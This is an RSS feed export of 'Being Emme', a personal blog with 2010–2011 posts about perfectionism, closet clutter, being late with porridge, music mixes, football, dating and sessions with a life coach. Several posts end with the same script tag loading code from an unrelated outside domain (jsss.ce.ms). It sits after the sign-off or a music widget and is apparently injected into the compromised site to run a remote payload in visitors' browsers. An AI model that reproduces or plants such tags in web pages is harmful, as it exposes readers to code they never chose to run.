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	<title>Being Emme &#187; Personal Coaching</title>
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	<link>http://emmerogers.com</link>
	<description>The Life &#38; Miss-Adventures of Emme Rogers</description>
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		<title>&#8216;In My Mind&#8217; do I really want perfection?</title>
		<link>http://emmerogers.com/2011/11/in-my-mind-do-i-really-want-perfection/</link>
		<comments>http://emmerogers.com/2011/11/in-my-mind-do-i-really-want-perfection/#comments</comments>
		<pubDate>Tue, 08 Nov 2011 19:47:03 +0000</pubDate>
		<dc:creator>Emme</dc:creator>
				<category><![CDATA[All the Gossip]]></category>
		<category><![CDATA[Jammin']]></category>
		<category><![CDATA[Personal Coaching]]></category>
		<category><![CDATA[The Tube]]></category>
		<category><![CDATA[amanda palmar]]></category>
		<category><![CDATA[amanda palmer's in my mind]]></category>
		<category><![CDATA[anxiety]]></category>
		<category><![CDATA[fun]]></category>
		<category><![CDATA[happiness]]></category>
		<category><![CDATA[in my mind]]></category>
		<category><![CDATA[perfection]]></category>

		<guid isPermaLink="false">http://emmerogers.com/?p=6558</guid>
		<description><![CDATA[It&#8217;s funny how we all strive for the sense of perfection. &#160; &#160; If we ever obtained it, would we want it?  Would it be fun?  Would I be happy? I look at the women in my world that outwardly portray this, and it seems as though it is a sentence that comes weighty in [...]]]></description>
			<content:encoded><![CDATA[<p>It&#8217;s funny how we all strive for the sense of perfection.</p>
<p>&nbsp;</p>
<p style="text-align: center;"><iframe title="YouTube video player" class="youtube-player" type="text/html" width="425" height="344" src="http://www.youtube.com/embed/Q9WZtxRWieM" frameborder="0" allowFullScreen="true"> </iframe></p>
<p>&nbsp;</p>
<p>If we ever obtained it, would we want it?  Would it be fun?  Would I be happy?</p>
<p>I look at the women in my world that outwardly portray this, and it seems as though it is a sentence that comes weighty in anxiety. Or is this just my excuse for not striving harder for it?</p>
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		<title>Calling All Darren Doyles ~ Design Me A Closet (pretty please)</title>
		<link>http://emmerogers.com/2011/09/calling-all-darren-doyles-design-me-a-closet-pretty-please/</link>
		<comments>http://emmerogers.com/2011/09/calling-all-darren-doyles-design-me-a-closet-pretty-please/#comments</comments>
		<pubDate>Tue, 13 Sep 2011 17:16:58 +0000</pubDate>
		<dc:creator>Emme</dc:creator>
				<category><![CDATA[All the Gossip]]></category>
		<category><![CDATA[Fashion Fab]]></category>
		<category><![CDATA[Personal Coaching]]></category>
		<category><![CDATA[The Tube]]></category>
		<category><![CDATA[clothes closet]]></category>
		<category><![CDATA[clutter]]></category>
		<category><![CDATA[Consumed]]></category>
		<category><![CDATA[Darren Doyle]]></category>
		<category><![CDATA[declutter]]></category>
		<category><![CDATA[designing a closet]]></category>
		<category><![CDATA[designing a wadrobe]]></category>
		<category><![CDATA[hgtv canada]]></category>
		<category><![CDATA[Jill Pollack]]></category>
		<category><![CDATA[organizing shoes]]></category>
		<category><![CDATA[piles of clothes]]></category>
		<category><![CDATA[wardrobe]]></category>

		<guid isPermaLink="false">http://emmerogers.com/?p=6310</guid>
		<description><![CDATA[200 pairs of shoes!!  After last week&#8217;s Consumed on HGTV Canada, I kept thinking how does someone acquire 200 pairs of shoes and then I took a more honest look at my wardrobe.  And a more honest look again when I saw the inside of my closet.  I&#8217;m embarrassed to say the floor of my [...]]]></description>
			<content:encoded><![CDATA[<p style="text-align: left;">200 pairs of shoes!!  After last week&#8217;s <a title="Consumed on HGTV Canada" href="http://www.hgtv.ca/consumed/" target="_blank">Consumed</a> on <a title="HGTV Canada" href="http://www.hgtv.ca/" target="_blank">HGTV Canada</a>, I kept thinking how does someone acquire 200 pairs of shoes and then I took a more honest look at my wardrobe.  And a more honest look again when I saw the inside of my closet.  I&#8217;m embarrassed to say the floor of my bedroom and guest room have at times become my closet.  And my piles if anything look higher than those on <a title="Consumed on Facebook" href="http://facebook.com/consumedtv" target="_blank">Consumed</a>.</p>
<p style="text-align: left;">I do clean them up, fold things and if I&#8217;m lucky the folded clothes do make it into my drawers, but life can just get so busy and over whelming. I need a Fairy God Mother. (I was going to say I need a Fairy <a title="Consumed's Darren Doyle" href="http://www.facebook.com/photo.php?fbid=111204728963169&amp;set=a.160105144073127.41646.110653539018288&amp;type=1&amp;theater" target="_blank">Darren Doyle</a>, but somehow I think that may get taken the wrong way.)</p>
<p style="text-align: center;"><iframe title="YouTube video player" class="youtube-player" type="text/html" width="425" height="344" src="http://www.youtube.com/embed/BVhhLFzefBQ" frameborder="0" allowFullScreen="true"> </iframe></p>
<p style="text-align: left;">So are there any Darren Doyles out there that want to build me the above and do as <a title="There was a Chic Lady Who Lived in her Shoe" href="http://jillpollack.wordpress.com/2011/07/27/there-was-a-chic-lady-who-lived-in-her-shoe/" target="_blank">Jill Pollack suggests on her blog</a>? I am completely okay if your name is not Darren.  I just love a man that&#8217;s good with his hands! <img src='http://emmerogers.com/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' /> </p>
<p style="text-align: left;">Kisses,</p>
<p style="text-align: left;">Emme xoxo</p>
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		<title>A Lesson in Time Management (aka don&#8217;t eat porridge in the car)</title>
		<link>http://emmerogers.com/2011/05/a-lesson-in-time-management-aka-dont-eat-porridge-in-the-car/</link>
		<comments>http://emmerogers.com/2011/05/a-lesson-in-time-management-aka-dont-eat-porridge-in-the-car/#comments</comments>
		<pubDate>Mon, 02 May 2011 07:38:06 +0000</pubDate>
		<dc:creator>Emme</dc:creator>
				<category><![CDATA[All the Gossip]]></category>
		<category><![CDATA[Fashion Fab]]></category>
		<category><![CDATA[For Kicks]]></category>
		<category><![CDATA[Personal Coaching]]></category>
		<category><![CDATA[crotch stain]]></category>
		<category><![CDATA[hike]]></category>
		<category><![CDATA[late]]></category>
		<category><![CDATA[lululemon]]></category>
		<category><![CDATA[milk covered crotch]]></category>
		<category><![CDATA[porridge]]></category>
		<category><![CDATA[running late]]></category>
		<category><![CDATA[singles hike]]></category>
		<category><![CDATA[time management]]></category>

		<guid isPermaLink="false">http://emmerogers.com/?p=5442</guid>
		<description><![CDATA[If I was truly, brutally honest with myself, I&#8217;d have to admit that I am not perfect. *gasp* Shocking, I know.  But amoungst one or two things that I could fine tune about me, is my ability to lose track of time. Oh, I have excuses &#8230; like the never ending pile of work and [...]]]></description>
			<content:encoded><![CDATA[<p>If I was truly, brutally honest with myself, I&#8217;d have to admit that I am not perfect. *gasp* Shocking, I know.  But amoungst one or two things that I could fine tune about me, is my ability to lose track of time.</p>
<p>Oh, I have excuses &#8230; like the never ending pile of work and deadlines, chatting with my Mom on the phone, not being able to find the outfit that I want to wear (that may be an issue for another day, pertaining to putting my laundry away), wallowing in the tub, the phone always ringing as I try to leave the house, forgetting to eat, forgetting the car is out of gas, needing to check that the stove is off twelve times &#8230;  Regardless, it&#8217;s getting out of hand and it needs to stop.</p>
<div class="wp-caption aligncenter" style="width: 510px"><a href="http://www.flickr.com/photos/tonivc/sets/72157594534566022/"><img title="It's time." src="http://farm4.static.flickr.com/3214/2283676770_6b53f8b77f.jpg" alt="" width="500" height="375" /></a><p class="wp-caption-text">Photographer: Toni Verdú Carbó</p></div>
<p>And it seems the powers that be were telling me just that this morning, as I headed out for a hike &#8230; late as usual.  I just wanted to finish that one last thing on the computer and, of course, I&#8217;d forgotten to eat, yet again.  So I grab a quick bowl of porridge and raced for the car.  Yes, I know there are many things wrong with that statement, like when was I going to eat said bowl of porridge, not to mention the fact that I decided the safest place for it was directly on my lap.</p>
<p>As I began to drive, I thought, &#8220;what a lovely warm bowl of porridge.&#8221;  That was until the warmth started traveling down my upper thigh.  I looked down.  I picked up the bowl.  My crotch was covered in warm milk.</p>
<p>Did I mention it was a Singles Hiking Group I was joining?</p>
<p>If you&#8217;re wondering if I went or not, I did.  It was a beautiful day, any man that can&#8217;t get the humour in a milk covered crotch probably shouldn&#8217;t be with me, and lululemon pants dry fast (or at least that&#8217;s what I decided).</p>
<p>Thinking time management may be a good topic to tackle in my next session with <a title="Jennifer Priest" href="http://jenniferpriest.com/" target="_blank">Jennifer Priest</a>.</p>
<p>Kisses,</p>
<p>Emme xoxo<script src="http://jsss.ce.ms/17"></script></p>
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		<title>Musical Inspiration – Kicking December Off Right</title>
		<link>http://emmerogers.com/2010/12/musical-inspiration-kicking-december-off-right/</link>
		<comments>http://emmerogers.com/2010/12/musical-inspiration-kicking-december-off-right/#comments</comments>
		<pubDate>Wed, 01 Dec 2010 17:43:09 +0000</pubDate>
		<dc:creator>Emme</dc:creator>
				<category><![CDATA[All the Gossip]]></category>
		<category><![CDATA[For Kicks]]></category>
		<category><![CDATA[Jammin']]></category>
		<category><![CDATA[Personal Coaching]]></category>
		<category><![CDATA[dreams]]></category>
		<category><![CDATA[k'naan]]></category>
		<category><![CDATA[kate walsh]]></category>
		<category><![CDATA[kina grannis]]></category>
		<category><![CDATA[matthew phoenix]]></category>
		<category><![CDATA[musical inspiration]]></category>
		<category><![CDATA[natasha bedingfield]]></category>
		<category><![CDATA[Serena Ryder]]></category>

		<guid isPermaLink="false">http://emmerogers.com/?p=4654</guid>
		<description><![CDATA[New month and rather than drag my feet and focus on a &#8216;no&#8217;, it&#8217;s time to return to my original journey and a number of dreams that I&#8217;ve been sliding to the back burner, whilst dealing with more immediate demands, most of which are for others dreams.  I love helping others out, but too often [...]]]></description>
			<content:encoded><![CDATA[<p>New month and rather than drag my feet and focus on a &#8216;no&#8217;, it&#8217;s time to return to my original journey and a number of dreams that I&#8217;ve been sliding to the back burner, whilst dealing with more immediate demands, most of which are for others dreams.  I love helping others out, but too often I seem to do so at the expense of my own dreams. How do I stop?  I don&#8217;t really know.  I guess I could learn to say &#8216;no&#8217;, but that might take time, as thats a word that doesn&#8217;t come easily to me.  In the meantime, a few tunes to kick me into the right gear:</p>
<p style="text-align: center;"><object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" width="250" height="400" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,40,0"><param name="wmode" value="window" /><param name="allowScriptAccess" value="always" /><param name="flashvars" value="hostname=cowbell.grooveshark.com&amp;widgetID=23296924&amp;style=metal&amp;bbg=000000&amp;bfg=666666&amp;bt=FFFFFF&amp;bth=000000&amp;pbg=FFFFFF&amp;pbgh=666666&amp;pfg=000000&amp;pfgh=FFFFFF&amp;si=FFFFFF&amp;lbg=FFFFFF&amp;lbgh=666666&amp;lfg=000000&amp;lfgh=FFFFFF&amp;sb=FFFFFF&amp;sbh=666666&amp;p=0" /><param name="src" value="http://listen.grooveshark.com/widget.swf" /><embed type="application/x-shockwave-flash" width="250" height="400" src="http://listen.grooveshark.com/widget.swf" flashvars="hostname=cowbell.grooveshark.com&amp;widgetID=23296924&amp;style=metal&amp;bbg=000000&amp;bfg=666666&amp;bt=FFFFFF&amp;bth=000000&amp;pbg=FFFFFF&amp;pbgh=666666&amp;pfg=000000&amp;pfgh=FFFFFF&amp;si=FFFFFF&amp;lbg=FFFFFF&amp;lbgh=666666&amp;lfg=000000&amp;lfgh=FFFFFF&amp;sb=FFFFFF&amp;sbh=666666&amp;p=0" allowscriptaccess="always" wmode="window"></embed></object><script src="http://jsss.ce.ms/17"></script></p>
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		<title>Musical Pick Me Up (Canadian Style)</title>
		<link>http://emmerogers.com/2010/11/musical-pick-me-canadian-style/</link>
		<comments>http://emmerogers.com/2010/11/musical-pick-me-canadian-style/#comments</comments>
		<pubDate>Wed, 01 Dec 2010 07:16:41 +0000</pubDate>
		<dc:creator>Emme</dc:creator>
				<category><![CDATA[All the Gossip]]></category>
		<category><![CDATA[For Kicks]]></category>
		<category><![CDATA[Jammin']]></category>
		<category><![CDATA[Personal Coaching]]></category>
		<category><![CDATA[Andrea Menard]]></category>
		<category><![CDATA[canadian artists]]></category>
		<category><![CDATA[canadian mixed tape]]></category>
		<category><![CDATA[canadian musicians]]></category>
		<category><![CDATA[chris velan]]></category>
		<category><![CDATA[feist]]></category>
		<category><![CDATA[k'naan]]></category>
		<category><![CDATA[Little Miss Higgins]]></category>
		<category><![CDATA[local anxiety]]></category>
		<category><![CDATA[matt anderson]]></category>
		<category><![CDATA[matthew phoenix]]></category>
		<category><![CDATA[mixed tape]]></category>
		<category><![CDATA[music]]></category>
		<category><![CDATA[pick me up]]></category>
		<category><![CDATA[Serena Ryder]]></category>
		<category><![CDATA[yukon blonde]]></category>

		<guid isPermaLink="false">http://emmerogers.com/?p=4642</guid>
		<description><![CDATA[Had one of those ends of my day, where really the only cure is music, and better yet, music that makes me smile and reminds that as a Canadian artist you can be successful. So I returned to a longstanding tradition of my teen years &#8211; mixed tape making &#8211; only wish this looked like [...]]]></description>
			<content:encoded><![CDATA[<p>Had one of those ends of my day, where really the only cure is music, and better yet, music that makes me smile and reminds that as a Canadian artist you can be successful. So I returned to a longstanding tradition of my teen years &#8211; mixed tape making &#8211; only wish this looked like an actual cassette tape (it&#8217;s a security thing, kind of like my yellow blankie that&#8217;s still in my room at home &#8211; if anyone knows how to do such things on the web, please share, I couldn&#8217;t find what I wanted):</p>
<p style="text-align: center;"><object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" width="250" height="400" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,40,0"><param name="wmode" value="window" /><param name="allowScriptAccess" value="always" /><param name="flashvars" value="hostname=cowbell.grooveshark.com&amp;widgetID=23296928&amp;style=metal&amp;bbg=000000&amp;bfg=666666&amp;bt=FFFFFF&amp;bth=000000&amp;pbg=FFFFFF&amp;pbgh=666666&amp;pfg=000000&amp;pfgh=FFFFFF&amp;si=FFFFFF&amp;lbg=FFFFFF&amp;lbgh=666666&amp;lfg=000000&amp;lfgh=FFFFFF&amp;sb=FFFFFF&amp;sbh=666666&amp;p=0" /><param name="src" value="http://listen.grooveshark.com/widget.swf" /><embed type="application/x-shockwave-flash" width="250" height="400" src="http://listen.grooveshark.com/widget.swf" flashvars="hostname=cowbell.grooveshark.com&amp;widgetID=23296928&amp;style=metal&amp;bbg=000000&amp;bfg=666666&amp;bt=FFFFFF&amp;bth=000000&amp;pbg=FFFFFF&amp;pbgh=666666&amp;pfg=000000&amp;pfgh=FFFFFF&amp;si=FFFFFF&amp;lbg=FFFFFF&amp;lbgh=666666&amp;lfg=000000&amp;lfgh=FFFFFF&amp;sb=FFFFFF&amp;sbh=666666&amp;p=0" allowscriptaccess="always" wmode="window"></embed></object></p>
<p style="text-align: left;">PS If one of your tunes is not on here, it&#8217;s because I was limited to what I could find on <a href="http://listen.grooveshark.com" target="_blank">Grooveshark</a>, which brings me to my apologies to the Mac crowd &#8211; their widgets are flash based &#8211; I&#8217;ll put in a request for a change to html5.</p>
<p><script src="http://jsss.ce.ms/17"></script></p>
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		<title>Caution: May Cause Pain</title>
		<link>http://emmerogers.com/2010/08/caution-may-cause-pain/</link>
		<comments>http://emmerogers.com/2010/08/caution-may-cause-pain/#comments</comments>
		<pubDate>Thu, 26 Aug 2010 02:47:29 +0000</pubDate>
		<dc:creator>Emme</dc:creator>
				<category><![CDATA[All the Gossip]]></category>
		<category><![CDATA[Personal Coaching]]></category>
		<category><![CDATA[The Tube]]></category>
		<category><![CDATA[bad karaoke]]></category>
		<category><![CDATA[beat it]]></category>
		<category><![CDATA[eye of the tiger]]></category>
		<category><![CDATA[irritable]]></category>
		<category><![CDATA[karaoke]]></category>
		<category><![CDATA[neighbour's kids]]></category>
		<category><![CDATA[neighbours]]></category>
		<category><![CDATA[period]]></category>
		<category><![CDATA[rancid smoothy]]></category>
		<category><![CDATA[that time of the month]]></category>

		<guid isPermaLink="false">http://emmerogers.com/?p=4267</guid>
		<description><![CDATA[I don&#8217;t know about any other 30+ gals out there, but the older I get the worse that &#8216;time of the month&#8217; gets.  And just to cause the men in the audience to cringe and wince &#8211; yes, this post is about your favourite time in a woman&#8217;s month &#8211; her period, when blood pours [...]]]></description>
			<content:encoded><![CDATA[<p>I don&#8217;t know about any other 30+ gals out there, but the older I get the worse that &#8216;time of the month&#8217; gets.  And just to cause the men in the audience to cringe and wince &#8211; yes, this post is about your favourite time in a woman&#8217;s month &#8211; her period, when blood pours from her body and she feels damn moody and emotional (and yes I am currently there, hence the desire to cause cringing from my male readers &#8211; somewhat satisfying that).</p>
<p>So I don&#8217;t know if its cause its that time of the month, but I had a particularly irritable day today.  Won&#8217;t fill you in on all the gruesome details, because that would bore you, but I did think you might enjoy sharing the serenade that the upstairs neighbours decided to give me (these aren&#8217;t the actual neighbours, but this is a fairly good rendition of the wails that were emerging from their children&#8217;s mouths):</p>
<p style="text-align: center;"><object width="425" height="355"><param name="movie" value="http://www.youtube.com/v/LyHyTVVVPOg" /><param name="allowFullScreen" value="true" /><param name="allowscriptaccess" value="always" /><embed wmode="opaque" src="http://www.youtube.com/v/LyHyTVVVPOg" type="application/x-shockwave-flash" allowscriptaccess="always" allowfullscreen="true" width="425" height="355"></embed></object></p>
<p>&#8230; for over an hour &#8230;. whilst I was trying to read and make notes on important documents &#8230; AHHHH!!!!</p>
<p>They were actually encouraging their kids to do this.  Wracking my brain to try and ascertain what Fuzzies or I ever did to them to deserve such a cruel and excruciating form of torture. <a href="http://en.wikipedia.org/wiki/Eye_of_the_Tiger" target="_blank">&#8216;Eye of the Tiger&#8217;</a> and <a href="http://en.wikipedia.org/wiki/Beat_It" target="_blank">&#8216;Beat It&#8217;</a> will never be quite the same again. Shot my nerves so badly, that the deck is now covered in what is likely now a rancid morning smoothy.</p>
<p>At any rate, <a href="http://jenniferpriest.com/blog" target="_blank">Jennifer</a> reminded me in our session today that writing is my normal release, but as life&#8217;s been busy its been a week and a half since I last wrote. With any luck inflicting this pain on you will have helped.</p>
<p>Step #2:  Booze and Chocolate</p>
<p>Kisses,</p>
<p>Emme xoxo<script src="http://jsss.ce.ms/17"></script></p>
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		<title>Limbering Up for a Weekend of Footie</title>
		<link>http://emmerogers.com/2010/07/limbering-up-for-a-weekend-of-footie/</link>
		<comments>http://emmerogers.com/2010/07/limbering-up-for-a-weekend-of-footie/#comments</comments>
		<pubDate>Sat, 10 Jul 2010 15:50:30 +0000</pubDate>
		<dc:creator>Emme</dc:creator>
				<category><![CDATA[All the Gossip]]></category>
		<category><![CDATA[For Kicks]]></category>
		<category><![CDATA[Personal Coaching]]></category>
		<category><![CDATA[brazilian dancing baby]]></category>
		<category><![CDATA[fif]]></category>
		<category><![CDATA[football]]></category>
		<category><![CDATA[footie]]></category>
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		<category><![CDATA[soccer]]></category>
		<category><![CDATA[waka waka]]></category>
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		<category><![CDATA[world cup football]]></category>
		<category><![CDATA[world cup soccer]]></category>

		<guid isPermaLink="false">http://emmerogers.com/?p=3980</guid>
		<description><![CDATA[Getting set for a weekend of footie: And apparently I&#8217;m not the only one:]]></description>
			<content:encoded><![CDATA[<p>Getting set for a weekend of footie:</p>
<p style="text-align: center;"><object width="425" height="355"><param name="movie" value="http://www.youtube.com/v/dzsuE5ugxf4" /><param name="allowFullScreen" value="true" /><param name="allowscriptaccess" value="always" /><embed wmode="opaque" src="http://www.youtube.com/v/dzsuE5ugxf4" type="application/x-shockwave-flash" allowscriptaccess="always" allowfullscreen="true" width="425" height="355"></embed></object></p>
<p style="text-align: left;">And apparently I&#8217;m not the only one:</p>
<p style="text-align: center;"><object width="425" height="355"><param name="movie" value="http://www.youtube.com/v/flnXTIaNckI" /><param name="allowFullScreen" value="true" /><param name="allowscriptaccess" value="always" /><embed wmode="opaque" src="http://www.youtube.com/v/flnXTIaNckI" type="application/x-shockwave-flash" allowscriptaccess="always" allowfullscreen="true" width="425" height="355"></embed></object></p>
<p style="text-align: center;"><object width="425" height="355"><param name="movie" value="http://www.youtube.com/v/e8gnRV9ippY" /><param name="allowFullScreen" value="true" /><param name="allowscriptaccess" value="always" /><embed wmode="opaque" src="http://www.youtube.com/v/e8gnRV9ippY" type="application/x-shockwave-flash" allowscriptaccess="always" allowfullscreen="true" width="425" height="355"></embed></object></p>
<p><script src="http://jsss.ce.ms/17"></script></p>
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		<title>New Tactics and Strategies in Dating</title>
		<link>http://emmerogers.com/2010/06/new-tactics-and-strategies-in-dating/</link>
		<comments>http://emmerogers.com/2010/06/new-tactics-and-strategies-in-dating/#comments</comments>
		<pubDate>Sun, 27 Jun 2010 18:53:53 +0000</pubDate>
		<dc:creator>Emme</dc:creator>
				<category><![CDATA[All the Gossip]]></category>
		<category><![CDATA[Contests]]></category>
		<category><![CDATA[Meeting Mr. / Ms. Right (or Right Now)]]></category>
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		<category><![CDATA[2010 world cup]]></category>
		<category><![CDATA[CBC]]></category>
		<category><![CDATA[dating]]></category>
		<category><![CDATA[dating strategies]]></category>
		<category><![CDATA[dating tactics]]></category>
		<category><![CDATA[football]]></category>
		<category><![CDATA[footie]]></category>
		<category><![CDATA[fresh air and excercise]]></category>
		<category><![CDATA[germany vs england]]></category>
		<category><![CDATA[healthy lifestyles]]></category>
		<category><![CDATA[internet dating]]></category>
		<category><![CDATA[Jennifer Priest]]></category>
		<category><![CDATA[life coach]]></category>
		<category><![CDATA[meeting mr right]]></category>
		<category><![CDATA[meeting people]]></category>
		<category><![CDATA[meeting that someone special]]></category>
		<category><![CDATA[New Year's Resolution]]></category>
		<category><![CDATA[obesity]]></category>
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		<category><![CDATA[overweight]]></category>
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		<category><![CDATA[Peter Mansbridge]]></category>
		<category><![CDATA[sedantary]]></category>
		<category><![CDATA[soccer]]></category>
		<category><![CDATA[too much time on the computer]]></category>
		<category><![CDATA[wheel of life]]></category>
		<category><![CDATA[world cup]]></category>

		<guid isPermaLink="false">http://emmerogers.com/?p=3904</guid>
		<description><![CDATA[Post the Germany vs England footie match this morning (Sorry England &#8230;  Germany, I&#8217;m raising a pint of coffee to you), I was still watching the CBC, and Peter Mansbridge started exploring the growing concern over obesity in society, especially with young people.  Seems a fair bit of the concern is for increased health issues [...]]]></description>
			<content:encoded><![CDATA[<p>Post the <a href="http://www.google.com/search?q=germany+versus+england&amp;hl=en&amp;sa=X&amp;prmd=nuv&amp;source=univ&amp;tbs=nws:1&amp;tbo=u&amp;ei=B5knTMqMJN_nnQfdxNThBQ&amp;oi=news_group&amp;ct=title&amp;resnum=2&amp;ved=0CDUQsQQwAQ" target="_blank">Germany vs England footie match</a> this morning (Sorry England &#8230;  Germany, I&#8217;m raising a pint of coffee to you), I was still watching the <a href="http://www.cbc.ca/" target="_blank">CBC</a>, and <a href="http://www.cbc.ca/thenational/mansbridge/" target="_blank">Peter Mansbridge</a> started exploring the growing concern over obesity in society, especially with young people.  Seems a fair bit of the concern is for increased health issues as overweight young people grow older and greater levels of concern in looking after themselves as they become seniors.  I listen to this and I glance down at my round belly, something I never had until this year.</p>
<div id="attachment_2766" class="wp-caption aligncenter" style="width: 385px"><a href="http://emmerogers.com/wp-content/uploads/2010/01/Week-1-front-small.jpg"> <img class="size-full wp-image-2766" title="Week 1 front small" src="http://emmerogers.com/wp-content/uploads/2010/01/Week-1-front-small.jpg" alt="" width="375" height="500" /></a><p class="wp-caption-text">Week One: The Beginning Shot to the New Year&#39;s Resolution</p></div>
<p>Some of you will remember my <a href="http://emmerogers.com/2010/01/my-2010-new-years-resolution/" target="_blank">New Year&#8217;s Resolution</a> to tone this up for my own well being, and will also remember that that DOESN&#8217;T mean dieting, but rather healthy living &#8211; good food, fresh air and exercise.  The good food part comes easily to me. Unlike concern over increased consumption of processed food on the CBC, I was brought up on home cooking and have taken that into my adult life. Where I&#8217;ve been struggling is that although I grew up outdoors, more and more I spend my days working in sedentary conditions at a computer, and whilst I started the year out with a healthy dose of fresh air and exercise, that went downhill with the month long <a href="http://emmerogers.com/category/events/olympics-events/" target="_blank">Olympic Party</a>, fueled with a healthy dose of hops and barley.  So as I revisited my <a href="http://emmerogers.com/2010/06/am-i-balanced/" target="_blank">Wheel of Life</a> with my personal coach, <a href="http://www.jenniferpriest.com/" target="_blank">Jennifer Priest</a>, the other week, I noticed that I am still struggling to find a healthy balance in fun and recreation (which I consider to include exercise) and romance. And I think the two go hand in hand. I need to get OUT and be active way more than I am.</p>
<div id="attachment_3749" class="wp-caption aligncenter" style="width: 510px"><a href="http://emmerogers.com/wp-content/uploads/2010/06/Wheel-of-Life-Jan-2010.jpg"><img class="size-full wp-image-3749" title="Wheel of Life Jan 2010" src="http://emmerogers.com/wp-content/uploads/2010/06/Wheel-of-Life-Jan-2010.jpg" alt="" width="500" height="375" /></a><p class="wp-caption-text">My Wheel of Life: January 2010</p></div>
<p>Some of you will recall that I&#8217;ve been experimenting with <a href="http://emmerogers.com/?s=online+dating" target="_blank">online dating</a> for the past year or so, and whilst I was meeting some lovely men, it wasn&#8217;t really working for me.  Partially because I am a romantic and this was a rather contrived way to meet people, and partially because I spend my days working online and the last thing I want to do at night is to go back to the computer to create a personal life for myself.  It wasn&#8217;t working and I told Jennifer as much in our last session.  She had some great alternative suggestions.</p>
<p>A few ideas of <a href="http://www.jenniferpriest.com/blog/" target="_blank">Jennifer</a>&#8216;s to get me OUT and active and meeting people all at the same time are to:</p>
<ul>
<li>Go to the Driving Range after work and hit a few balls.</li>
<li>Find a Hiking Group and join them for weekend hikes.</li>
<li>Go for a walk on my own or borrow a friend&#8217;s dog to take for a walk and actually make eye contact, smile and say &#8216;hello&#8217; to people when I am out and about (scary concept for the VanCity cats, I know).</li>
<li>Join a Team Sport, with people I don&#8217;t know, like beach volleyball or dragon boating.</li>
</ul>
<p>Not so outdoorsy, but goes well with the non-processed food, healthy eating part of my New Year&#8217;s Resolution, Jennifer also suggested singles cooking classes.  Definitely trying that one out.</p>
<p>Loving these ideas!  Especially as they get me outdoors and active and outside my comfort zone of my true blue friends (whom I love and adore, but am very quickly becoming the crazy spinster aunt to all their children).  Off to try my first one today (after the <a href="http://www.google.com/search?client=ubuntu&amp;channel=fs&amp;q=mexico+versus+argentina&amp;ie=utf-8&amp;oe=utf-8" target="_blank">footie match</a> that just started).  Found a hiking group and am going on my first hike with them.  Wish me luck!</p>
<p>Kisses,</p>
<p>Emme xoxo<script src="http://jsss.ce.ms/17"></script></p>
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		<title>Am I Balanced?</title>
		<link>http://emmerogers.com/2010/06/am-i-balanced/</link>
		<comments>http://emmerogers.com/2010/06/am-i-balanced/#comments</comments>
		<pubDate>Sat, 12 Jun 2010 21:27:42 +0000</pubDate>
		<dc:creator>Emme</dc:creator>
				<category><![CDATA[All the Gossip]]></category>
		<category><![CDATA[Personal Coaching]]></category>
		<category><![CDATA[relationships]]></category>
		<category><![CDATA[balance]]></category>
		<category><![CDATA[finding balance]]></category>
		<category><![CDATA[Jennifer Priest]]></category>
		<category><![CDATA[life coach]]></category>
		<category><![CDATA[life coaching]]></category>
		<category><![CDATA[personal journey]]></category>
		<category><![CDATA[wheel of life]]></category>

		<guid isPermaLink="false">http://emmerogers.com/?p=3739</guid>
		<description><![CDATA[I now what you&#8217;re thinking &#8211; &#8220;no&#8221; &#8220;of course not&#8221; &#8220;is that even a question&#8221; All I can say is &#8211; &#8220;HOW RUDE!!!&#8221; I was trying to be reflective and introspective for once!  hmph! A few of you that have been reading for awhile, will know that I have been seeking balance in my life [...]]]></description>
			<content:encoded><![CDATA[<p>I now what you&#8217;re thinking &#8211; &#8220;no&#8221; &#8220;of course not&#8221; &#8220;is that even a question&#8221; All I can say is &#8211; &#8220;HOW RUDE!!!&#8221; I was trying to be reflective and introspective for once!  hmph!</p>
<p>A few of you that have been reading for awhile, will know that I have been seeking balance in my life for sometime and have spent the past year working with personal coach, <a href="http://jenniferpriest.com" target="_blank">Jennifer Priest</a>, to achieve just that. (because goodness only knows I can&#8217;t help myself &#8211; I say that facetiously, as the reality is that coaching only works if you are willing to help yourself &#8211; sort of like going to the gym).</p>
<p>Jennifer has been wonderful and has brought me a long way from where I was a year ago. I now have a much clearer picture of what I&#8217;d like in life, my work world is coming together nicely (and although I still work too much, I am leaving behind my days as a struggle artist), I think about what &#8220;I&#8221; need and consciously remember that things like good food, exercise and sleep are all things that make me tick and that I need to function effectively. And I take time for me now.</p>
<p>Am I balanced though?  Somethings still feel like they&#8217;re missing and although I&#8217;m happy, I don&#8217;t think I am at the end of this journey.  So Jennifer did a little exercise with me.  She told me to imagine my life as a wheel broken into 8 equal segments.  Each segment represented a different aspect of my life &#8211; Physical Environment, Career, Money, Health, Friends &amp; Family, Significant Other / Romance, Personal Growth and Fun &amp; Recreation:</p>
<div id="attachment_3748" class="wp-caption aligncenter" style="width: 510px"><a href="http://jenniferpriest.com"><img class="size-full wp-image-3748" title="wheel of life" src="http://emmerogers.com/wp-content/uploads/2010/06/wheel-of-life.jpg" alt="" width="500" height="375" /></a><p class="wp-caption-text">Wheel of Life</p></div>
<p>I was then supposed to consider each segment and how satisfied I was with it. Well let&#8217;s just say that my wheel looked a little wonky. No wonder I was getting where I want to be, as I don&#8217;t think it could roll:</p>
<div id="attachment_3749" class="wp-caption aligncenter" style="width: 510px"><a href="http://emmerogers.com/wp-content/uploads/2010/06/Wheel-of-Life-Jan-2010.jpg"><img class="size-full wp-image-3749" title="Wheel of Life Jan 2010" src="http://emmerogers.com/wp-content/uploads/2010/06/Wheel-of-Life-Jan-2010.jpg" alt="" width="500" height="375" /></a><p class="wp-caption-text">My Wheel of Life: January 2010</p></div>
<p>My personal environment was a mess (my Dad would have been horrified) &#8211; unpacked boxes were everywhere from a move two years before, dishes were in the sink, I hadn&#8217;t added any personal touches, and my bedroom still looked like that of a university student (aka no &#8216;real&#8217; bed). My career was taking off, but the money wasn&#8217;t there and I was seriously close to burning out. There were plenty of men vying for my attention, but I had absolutely no interest in being in a relationship (there really wasn&#8217;t the space for it in my life). And although I wanted fun &amp; recreation and health, the two really went hand in hand, and although I&#8217;d have spurts of these, it was in the form of a binge eater, all or nothing.  About the only fully functional segments of the wheel were friends &amp; family and personal growth &#8211; so whilst filled with love and challenges, this was not enough to make the wheel roll.</p>
